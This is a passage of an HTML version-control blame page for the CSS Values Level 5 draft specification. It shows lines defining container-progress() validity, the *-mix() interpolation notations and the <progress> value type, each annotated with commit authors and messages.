class="source"> respectively. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/454df1877b18/css-values-5/Overview.bs#l645" title="454df1877b18: [css-values-5] Define how progress() handles start==end, and abstract a bit to reduce repetition. #10980">jackalmage@31667</a> </td> <td class="lineno"> <a href="#l903" id="l903"> 903</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l899" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l904" id="l904"> 904</a> </td> <td class="source"> The specified <<mf-name>> must be a valid [=size feature=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l900" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l905" id="l905"> 905</a> </td> <td class="source"> the specified [=progress start value=] and [=progress end value=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l901" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l906" id="l906"> 906</a> </td> <td class="source"> must be valid values for that [=size feature=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l902" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l907" id="l907"> 907</a> </td> <td class="source"> and both [=calculation=] values must have a [=consistent type=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/022e1bf4f266/css-values-5/Overview.bs#l239" title="022e1bf4f266: [css-values-5] Set the types correctly for progress fucntions and calc-mix(). #10017">jackalmage@30986</a> </td> <td class="lineno"> <a href="#l908" id="l908"> 908</a> </td> <td class="source"> or else the function is invalid. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l905" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l909" id="l909"> 909</a> </td> <td class="source"> ''container-progress()'' is only valid in a property value context; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l906" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l910" id="l910"> 910</a> </td> <td class="source"> it cannot be used in, for example, a [=media query=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l907" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l911" id="l911"> 911</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l908" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l912" id="l912"> 912</a> </td> <td class="source"> The [=progress start value=] and [=progress end value=] [=calculations=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e8a33da05266/css-values-5/Overview.bs#l653" title="e8a33da05266: [css-values-5] Never mind, media-progress() and container-progress() should eval their calculations in the MQ/CQ context, so should *not* be consistent. #10890">jackalmage@31668</a> </td> <td class="lineno"> <a href="#l913" id="l913"> 913</a> </td> <td class="source"> are interpreted as specified for the [=size feature=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e8a33da05266/css-values-5/Overview.bs#l654" title="e8a33da05266: [css-values-5] Never mind, media-progress() and container-progress() should eval their calculations in the MQ/CQ context, so should *not* be consistent. #10890">jackalmage@31668</a> </td> <td class="lineno"> <a href="#l914" id="l914"> 914</a> </td> <td class="source"> (rather than as specified by the context the function is used in). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l215" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l915" id="l915"> 915</a> </td> <td class="source"> If no appropriate containers are found, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l216" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l916" id="l916"> 916</a> </td> <td class="source"> ''container-progress()'' resolves its <<size-feature>> query </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l217" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l917" id="l917"> 917</a> </td> <td class="source"> against the [=small viewport size=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l218" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l918" id="l918"> 918</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l915" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l919" id="l919"> 919</a> </td> <td class="source"> The value of ''media-progress()'' is a <<number>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l916" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l920" id="l920"> 920</a> </td> <td class="source"> determined by [=calculating a progress function=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0c62b9c86921/css-values-5/Overview.bs#l917" title="0c62b9c86921: [css-values-5] Clarifications to *progress() interpretation and validity">fantasai@31764</a> </td> <td class="lineno"> <a href="#l921" id="l921"> 921</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2784db4c9afd/css-values-5/Overview.bs#l911" title="2784db4c9afd: [css-values-5] <size-query> should be <mf-name> #11120">fantasai@31761</a> </td> <td class="lineno"> <a href="#l922" id="l922"> 922</a> </td> <td class="source"> Note: ''container-progress()'' is <em>not</em> a [=math function=]; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/72a9a70d5e2e/css-values-5/Overview.bs#l669" title="72a9a70d5e2e: [css-values-5] Mark progress() as a math function, call out the other *-progress() functions as *not* math functions.">jackalmage@31669</a> </td> <td class="lineno"> <a href="#l923" id="l923"> 923</a> </td> <td class="source"> it's just a function that evaluates to a <<number>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/72a9a70d5e2e/css-values-5/Overview.bs#l670" title="72a9a70d5e2e: [css-values-5] Mark progress() as a math function, call out the other *-progress() functions as *not* math functions.">jackalmage@31669</a> </td> <td class="lineno"> <a href="#l924" id="l924"> 924</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l233" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l925" id="l925"> 925</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l234" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l926" id="l926"> 926</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l244" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l936" id="l936"> 936</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l219" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l937" id="l937"> 937</a> </td> <td class="source"><h2 id="mixing"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l220" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l938" id="l938"> 938</a> </td> <td class="source">Mixing and Interpolation Notations: the *-mix() family</h2> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l221" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l939" id="l939"> 939</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9ce986bb3aee/css-values-5/Overview.bs#l937" title="9ce986bb3aee: [css-values-5] Link to issue">fantasai@31788</a> </td> <td class="lineno"> <a href="#l940" id="l940"> 940</a> </td> <td class="source"> ISSUE(6245): This feature <a href="https://css.typetura.com/ruleset-interpolation/explainer/">does not handle multiple breakpoints very well</a>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9ce986bb3aee/css-values-5/Overview.bs#l938" title="9ce986bb3aee: [css-values-5] Link to issue">fantasai@31788</a> </td> <td class="lineno"> <a href="#l941" id="l941"> 941</a> </td> <td class="source"> and <a href="https://github.com/w3c/csswg-drafts/issues/6245#issuecomment-2469190377">might need to be redesigned</a>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l223" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l942" id="l942"> 942</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l224" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l943" id="l943"> 943</a> </td> <td class="source"> Several <dfn>mix notations</dfn> in CSS </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l225" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l944" id="l944"> 944</a> </td> <td class="source"> allow representing the interpolation of two values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l226" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l945" id="l945"> 945</a> </td> <td class="source"> the <dfn>mix start value</dfn> and the <dfn>mix end value</dfn>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l227" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l946" id="l946"> 946</a> </td> <td class="source"> at a given point in progress between them (the <dfn>mix progress value</dfn>). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l228" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l947" id="l947"> 947</a> </td> <td class="source"> These [=functional notations=] follow the syntactic pattern: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l229" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l948" id="l948"> 948</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l230" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l949" id="l949"> 949</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l231" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l950" id="l950"> 950</a> </td> <td class="source"> <var>mix-function</var>() = <var>mix-function</var>( <<progress>>, [=mix start value|start-value=], [=mix end value|end-value=] ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l232" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l951" id="l951"> 951</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l233" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l952" id="l952"> 952</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l234" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l953" id="l953"> 953</a> </td> <td class="source"> The [=mix notations=] in CSS include: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l235" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l954" id="l954"> 954</a> </td> <td class="source"> * ''calc-mix()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l236" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l955" id="l955"> 955</a> </td> <td class="source"> for interpolating <<length>>, <<percentage>>, <<time>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l237" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l956" id="l956"> 956</a> </td> <td class="source"> and other dimensions representable in ''calc()'' expressions </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l238" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l957" id="l957"> 957</a> </td> <td class="source"> * ''color-mix()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/06873fc1abec/css-values-5/Overview.bs#l240" title="06873fc1abec: [css-values-5] Removed incorrect statement that color-mix() accepts more than two colors">chris@30589</a> </td> <td class="lineno"> <a href="#l958" id="l958"> 958</a> </td> <td class="source"> for interpolating two <<color>> values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l240" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l959" id="l959"> 959</a> </td> <td class="source"> * ''cross-fade()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l241" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l960" id="l960"> 960</a> </td> <td class="source"> for interpolating <<image>> values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9193b065355/css-values-5/Overview.bs#l243" title="d9193b065355: [css-values-5] Added palette-mix() to list of mix notations">chris@30591</a> </td> <td class="lineno"> <a href="#l961" id="l961"> 961</a> </td> <td class="source"> * ''palette-mix()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9193b065355/css-values-5/Overview.bs#l244" title="d9193b065355: [css-values-5] Added palette-mix() to list of mix notations">chris@30591</a> </td> <td class="lineno"> <a href="#l962" id="l962"> 962</a> </td> <td class="source"> for interpolating two 'font-palette' values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l242" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l963" id="l963"> 963</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l243" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l964" id="l964"> 964</a> </td> <td class="source"> and finally the generic ''mix()'' notation, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l244" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l965" id="l965"> 965</a> </td> <td class="source"> which can represent the interpolation of any property's values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l245" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l966" id="l966"> 966</a> </td> <td class="source"> (but only the property's entire value, not individual components). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l246" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l967" id="l967"> 967</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/06873fc1abec/css-values-5/Overview.bs#l248" title="06873fc1abec: [css-values-5] Removed incorrect statement that color-mix() accepts more than two colors">chris@30589</a> </td> <td class="lineno"> <a href="#l968" id="l968"> 968</a> </td> <td class="source"> Note: The ''cross-fade()'' notation </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/06873fc1abec/css-values-5/Overview.bs#l249" title="06873fc1abec: [css-values-5] Removed incorrect statement that color-mix() accepts more than two colors">chris@30589</a> </td> <td class="lineno"> <a href="#l969" id="l969"> 969</a> </td> <td class="source"> also has an alternative syntax </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l249" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l970" id="l970"> 970</a> </td> <td class="source"> that allows for mixing more than two values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l250" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l971" id="l971"> 971</a> </td> <td class="source"> but does not allow for the more complex expressions of <<progress>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l251" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l972" id="l972"> 972</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l252" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l973" id="l973"> 973</a> </td> <td class="source"> ISSUE: The ''mix()'' notation also has a variant that takes a set of keyframes. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l253" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l974" id="l974"> 974</a> </td> <td class="source"> It does this by referring to an ''@keyframes'' rule, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l254" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l975" id="l975"> 975</a> </td> <td class="source"> and pulling the corresponding property declaration out of that. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l255" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l976" id="l976"> 976</a> </td> <td class="source"> It would be nice to allow the other mix notations to take keyframe also, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l256" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l977" id="l977"> 977</a> </td> <td class="source"> but how would we represent a set of keyframes for a [=component value=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l257" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l978" id="l978"> 978</a> </td> <td class="source"> (rather than a full property value)? </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l258" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l979" id="l979"> 979</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l259" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l980" id="l980"> 980</a> </td> <td class="source"><h3 id="progress-type"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/5c899761450f/css-values-5/Overview.bs#l424" title="5c899761450f: [css-values-5][css-variables-1][editorial] bikeshed fixes">jackalmage@31414</a> </td> <td class="lineno"> <a href="#l981" id="l981"> 981</a> </td> <td class="source">Representing Interpolation Progress: the <<progress>> type</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l261" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l982" id="l982"> 982</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l262" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l983" id="l983"> 983</a> </td> <td class="source"> The <dfn><<progress>></dfn> value type represents </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l263" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l984" id="l984"> 984</a> </td> <td class="source"> the [=mix progress value=] in a [=mix notation=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l264" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l985" id="l985"> 985</a> </td> <td class="source"> and ultimately resolves to a percentage. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l265" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l986" id="l986"> 986</a> </td> <td class="source"> It can, however, draw that percentage value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l266" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l987" id="l987"> 987</a> </td> <td class="source"> from sources such as media queries and animation timelines, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l267" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l988" id="l988"> 988</a> </td> <td class="source"> and can also convert it through an [=easing function=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l268" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l989" id="l989"> 989</a> </td> <td class="source"> before using it for interpolation. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l269" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l990" id="l990"> 990</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l270" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l991" id="l991"> 991</a> </td> <td class="source"> Its syntax is defined as follows: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l271" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l992" id="l992"> 992</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/37725c24b61e/css-values-5/Overview.bs#l701" title="37725c24b61e: [css-values-5] Define the appropriate components as optional">gui@31594</a> </td> <td class="lineno"> <a href="#l993" id="l993"> 993</a> </td> <td class="source"> <<progress>> = [ <<percentage>> | <<number>> | <<'animation-timeline'>> ] && [ by <<easing-function>> ]? </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l273" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l994" id="l994"> 994</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l274" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l995" id="l995"> 995</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l275" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l996" id="l996"> 996</a> </td> <td class="source"> where: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l276" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l997" id="l997"> 997</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l277" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l998" id="l998"> 998</a> </td> <td class="source"> <dl dfn-type=value dfn-for="<progress>"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l320" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l999" id="l999"> 999</a> </td> <td class="source"> <dt><dfn><<percentage-token>></dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l279" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1000" id="l1000"> 1000</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l322" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1001" id="l1001"> 1001</a> </td> <td class="source"> Computes to the equivalent <<number>>: </td> </tr> <tr class="parity1"> <td class="linenr"> <a 